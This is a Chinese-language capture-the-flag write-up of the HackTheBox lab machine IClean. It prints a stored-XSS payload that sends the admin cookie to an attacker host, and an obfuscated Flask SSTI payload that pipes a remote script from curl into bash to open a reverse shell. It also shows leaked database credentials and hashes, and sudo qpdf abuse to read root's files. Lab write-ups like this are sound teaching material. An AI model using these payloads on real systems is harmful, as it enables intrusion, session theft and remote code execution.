hackthebox IClean
今天出来了个新靶机搞来看看
每日一更 hackthebox 系列
总结一下: 新出的机器 弄了一下午 坑比较多
nmap 信息收集 写hosts-> 访问网站找到交互点->xss反弹admin Cookie -> 利用admin Cookie 找到存在漏洞点->关于flask的SSTI注入->尝试注入->反弹shell->找到数据库密码->cmd5破解密码->ssh登录->get user flag -> qpdf 越权查看root.txt
攻击:10.10.14.18
靶机:10.10.11.12
老规矩先扫描
nmap -A -Pn 10.10.11.12
访问一下 80 端口
写 hosts 文件
echo "10.10.11.12 capiclean.htb" >> /etc/hosts
用插件看下这个网站 whatweb 也可
到处找找版本信息 他有个login 界面 进来以后在插件能看到 2.3.7
或者用nmap扫描版本信息
nmap -A -Pn 10.10.11.12 -sV -p80
flask 找不到相关的exp 再找找网站交互
目录扫描也没扫到啥
在主页上转转看到这个 这个地方也可以交互
随便发个消息看看
翻译一下
存储型XSS?试试!
调试了好久 payload
最终的payload为:
service=<img src=x onerror=this.src="http://10.10.14.18:99/"%2bdocument.cookie>&email=1@q.com
终于弹回来了
利用这个Cookie 登录一下试试
利用Cookie访问这个/dashboard 仪表盘试试
进来了
太不方便了 每次弄个包都要用burp加个Cookie 所以 下载个小插件
我下载的这个
像这样设置下:
然后就可以方便一点访问了
这里有个生成订单的页面 摸索了半天 就这个地方比较有意思
生成以后会回显一串数字
然后用这个数字去查询
输入正确的号码他查到就会有这样的界面
大概意思是让我插入Url
但是没懂他这个提示啥意思 发现 他会生成二维码 扫描二维码 解析链接 是一个html页面
多刷新几次 看了下 这个页面别的都会变 唯独这个账单信息是不会变得 上面别的信息都会变
尝试堆叠注入 无果-_-
发现一个突破点 flask 生成随机页面 让我想起来一个远古的东西 (因为是很久之前了解到的 现在突然想起来了) 关于flask的SSTI注入 赶紧恶补一下
发现存在这个漏洞在这里 输入123 如下图所示 但是如果输入 {{7*7}}
他是这样的 说明存在这个洞
了解了漏洞原理 确定漏洞存在赶紧看看这个相关的payload
测试:{{ config.items() }}
读取系统环境变量
芜湖!!!!
<img src="data:image/png;base64,dict_items([('DEBUG', False),
('TESTING', False),
('PROPAGATE_EXCEPTIONS', None),
('SECRET_KEY','ppmpugwusjanbxsdpflhbvghmdexyefqrkfhlxeczapinobduomkvjfvjnyzqeoc'),
('PERMANENT_SESSION_LIFETIME', datetime.timedelta(days=31)),
('USE_X_SENDFILE', False), ('SERVER_NAME', None),
('APPLICATION_ROOT', '/'), ('SESSION_COOKIE_NAME',
'session'), ('SESSION_COOKIE_DOMAIN', None),
('SESSION_COOKIE_PATH', None), ('SESSION_COOKIE_HTTPONLY', False),
('SESSION_COOKIE_SECURE', False), ('SESSION_COOKIE_SAMESITE', None),
('SESSION_REFRESH_EACH_REQUEST', True), ('MAX_CONTENT_LENGTH', None),
('SEND_FILE_MAX_AGE_DEFAULT', None), ('TRAP_BAD_REQUEST_ERRORS', None),
('TRAP_HTTP_EXCEPTIONS', False), ('EXPLAIN_TEMPLATE_LOADING', False),
('PREFERRED_URL_SCHEME', 'http'), ('TEMPLATES_AUTO_RELOAD', None),
('MAX_COOKIE_SIZE', 4093)])" alt="QR Code">
又是一阵摸索+恶补这个漏洞相关payload 还得是GPT
最终payload
{{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("curl+10.10.14.18:8000/x.sh+|+bash")|attr("read")()}}
准备好反弹shell的脚本
开启 web 服务 和 监听
成功了!!!!!!!!芜湖!!!!!!!!!
拿到shell 熟悉的套路 先看看 app.py
找到数据库密码 交互式shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
db_config = { 'host': '127.0.0.1', 'user': 'iclean', 'password': 'pxCsmnGLckUb', 'database': 'capiclean' }
看到这个用户 家目录是有这个用户的 所以 猜测密码复用
hashcat 破解 john 都破解不开 好无语
这三个字段
consuela
0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa
ee11cbb19052e40b07aac0ca060c23ee
这里我感觉没啥错啊 他就是sha256加密一下 没加盐啥的啊 那这个密码就应该能破开啊
自己写的python 破解也不行 工具也不行 所有的字典都试过了 奇怪了
按理说就是这个东西啊
他的代码
密码就是这样验证
password = hashlib.sha256(request.form['password'].encode()).hexdigest()
# 验证用户名和密码
cursor.execute('SELECT role_id FROM users WHERE username=%s AND password=%s', (username, password))
回头看看别的文件吧
find / -type f -exec grep -l "consuela" {} + 2>/dev/null
有个邮件 我看看
PDF文件 发票
找到一个pdf去看看
翻译过来这个地方的名字叫共享我的信息规范
enmmmm
strings /usr/share/doc/shared-mime-info/shared-mime-info-spec.pdf 我也下载了
最后实在没办法了 想到最后一个提权方式 内核提权
之前的命令看到了 他的u+s 有su 命令 所以 这是我最后的希望了
系统版本有提权漏洞
编译完成 现在需要把他传上去
直接curl -O
但是还是不行
最后看到
/usr/bin/pkexec
这个东西
好像也能提权
也不行
离谱每个u+s 都有提权的漏洞 踩坑
最后还是解密cmd5 充了100大洋
0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa
这个密码在kali内置的字典当中是没有的 气死了这100大洋花的 真生气
simple and clean
登录上了
终于获取到了:
user flag
提权呗 然后就是
sudo -l
能运行的就是这个 qpdf 这个文件呗
结合GPT的解释 加上他官方的文档 自己摸索一阵
sudo /usr/bin/qpdf --empty ./root.txt --qdf --add-attachment /root/root.txt --
/usr/bin/qpdf
:指定了 qpdf 命令的路径。--empty /tmp/root.txt
:创建一个空的 PDF 文件,文件路径为/tmp/root.txt
。--qdf
:使用 QDF 格式创建 PDF 文件。--add-attachment /root/root.txt
:将/root/root.txt
文件作为附件添加到创建的 PDF 文件中。
综上所述,这个命令的作用是创建一个空的 PDF 文件,并将 /root/root.txt
文件作为附件添加到该 PDF 文件中。
然后这个 去看root.txt
get root flag
完结撒花